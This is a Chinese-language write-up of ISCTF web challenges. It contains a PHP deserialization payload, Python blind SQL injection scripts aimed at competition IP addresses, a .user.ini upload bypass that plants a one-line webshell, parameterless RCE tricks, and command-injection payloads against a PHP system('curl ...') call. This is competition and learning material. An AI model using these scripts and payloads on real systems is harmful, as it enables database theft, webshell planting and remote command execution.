isctf---web

圣杯战争

php反序列

?payload=O:6:"summon":2:{s:5:"Saber";O:8:"artifact":2:{s:10:"excalibuer";O:7:"prepare":1:{s:7:"release";O:5:"saber":1:{s:6:"weapon";s:52:"php://filter/convert.base64-encode/resource=flag.php";}}s:5:"arrow";N;}s:5:"Rider";N;}

绕进你的心里

解题人：dskjdsodso

import requests
 
url='ttp://43.249.195.138:20367/?hongmeng[]=asd&shennong[]=qsd&zhurong[]=1'
data={
    'pan_gu':'very'*250000+'2023ISCTF'
}
r=requests.post(url=url,data=data).text
print(r)

正则匹配回溯

where_is_the_flag

连接蚁剑，找到两个flag

flag1

flag2

第三个执行命令

env查看环境变量

easy_website

是一个简单的盲注，比较重要的就是限制了or和空格

脚本：

import requests

# payload = "select database()"

# payload =

"selselectect(group_concat(column_name))from(infoorrmation_schema.c olumns)where(table_name='users')"

payload = "selselectect(group_concat('--',passwoorrd))from(users)" payload2 = "0' ||if(ascii(substr(({}),{},1))>{},1,0)#"

url = "http://43.249.195.138:21284/check.php"

flag =""

for i in range(1,200):

high=128

low = 32

mid =(high+low)//2

while(high>low):

payload1 = payload2.format(payload,i,mid)

# print(payload1)

data={

'username':payload1,

'password':'admin'

}

r = requests.post(url=url,data=data)

# print(r.text)

if "admin" in r.text:

low = mid + 1

else:

high = mid

# print(low,high)

mid =(low+high)//2

if chr(mid) == " ":

break

flag += chr(mid)

print(flag)

if chr(mid) == '}':

exit()

ez_ini

上传限制了文件头、 mime类型、文件内容php短标签<?，利用user.ini文件，传输base64编码解析上去，然后再传base64的一句话木马上去

ini文件信息

png图片信息

上传.user.ini即可

wafr

无参数rce，自增，取反，异或方式绕过

post传参

1z_Ssql

直接爆破数据库

爆破结果为：bthcls

user表的password字段

import requests
import sys
import time

url = "http://43.249.195.138:22074/#"
flag = ""
for i in range(1,60):
    max = 127
    min = 32
    while 1:       

        mid = (max+min)>>1
        if(min == mid):
            flag += chr(mid)
            print(flag)
            break
        
        payload = "admin'and (ascii( substr((select(group_concat(password)) from bthcls.users),{},1))<{})#".format(i,mid)


        data = {
            "username":payload,
            "password":0,
        }
        res = requests.post(url = url,data =data)
        time.sleep(0.3)
        if 'You are so smart!' in res.text:
            max = mid
        else:
            min = mid 

结果为：we1come7o1sctf

联想一下题目

直接admin/we1come7o1sctf登录

获得flag

webinclude

文件包含

肯定先用dirsearch扫一下目录

发现了flag.php,index.bak

访问index.bak得到

 function string_to_int_array(str){
        const intArr = [];
 
        for(let i=0;i<str.length;i++){
          const charcode = str.charCodeAt(i);
 
          const partA = Math.floor(charcode / 26);
          const partB = charcode % 26;
 
          intArr.push(partA);
          intArr.push(partB);
        }
 
        return intArr;
      }
 
      function int_array_to_text(int_array){
        let txt = '';
 
        for(let i=0;i<int_array.length;i++){
          txt += String.fromCharCode(97 + int_array[i]);
        }
 
        return txt;
      }
 
const hash = int_array_to_text(string_to_int_array(int_array_to_text(string_to_int_array(parameter))));
if(hash === 'dxdydxdudxdtdxeadxekdxea'){
            window.location = 'flag.html';
          }else {
            document.getElementById('fail').style.display = '';
          }

 进行逆向

#include<stdio.h>
#include<string.h>

int main() 
{
	char b[100]="dxdydxdudxdtdxeadxekdxea";
	for(int j=0;j<2;j++){
		int tmp1=0,tmp2=0,sum=0,f=0;
		//printf("%d\n",strlen(b));
		for(int i=0;i<strlen(b);i++){
			int tmp=(int)(b[i]-97);
			f++;
			if(i%2==0){
				tmp1=tmp*26;
				//printf("%d ",tmp1);
			}
			if(i%2!=0){
				tmp2=tmp;
				//printf("%d ",tmp2);
			}
			if(f==2){
				printf("%c",tmp1+tmp2);
				//printf("%d\n",sum);
				sum++;
				tmp1=0;
				tmp2=0;
				f=0;
			}
	}
	//printf("%d",sum);
	}
	return 0;
}

可以得到参数是mihoyo

那么我们构造payload：

?mihoyo=php://filter/read=convert.base64-encode/resource=

base64解密

fuzz！

<?php
/*
Read /flaggggggg.txt
Hint: 你需要学会fuzz，看着键盘一个一个对是没有灵魂的
知识补充：curl命令也可以用来读取文件哦，如curl file:///etc/passwd
*/
error_reporting(0);
header('Content-Type: text/html; charset=utf-8');
highlight_file(__FILE__);
$file = 'file:///etc/passwd';
if(preg_match("/\`|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\+|\=|\\\\|\'|\"|\;|\<|\>|\,|\?|jay/i", $_GET['file'])){
    die('你需要fuzz一下哦~');
}
if(!preg_match("/fi|le|flag/i", $_GET['file'])){
    $file = $_GET['file'];
}
system('curl '.$file);

payload

?file=|tac /fl[a-z]ggggggg.txt

?file=f{i}l{e}:///fla{g}gggggg.txt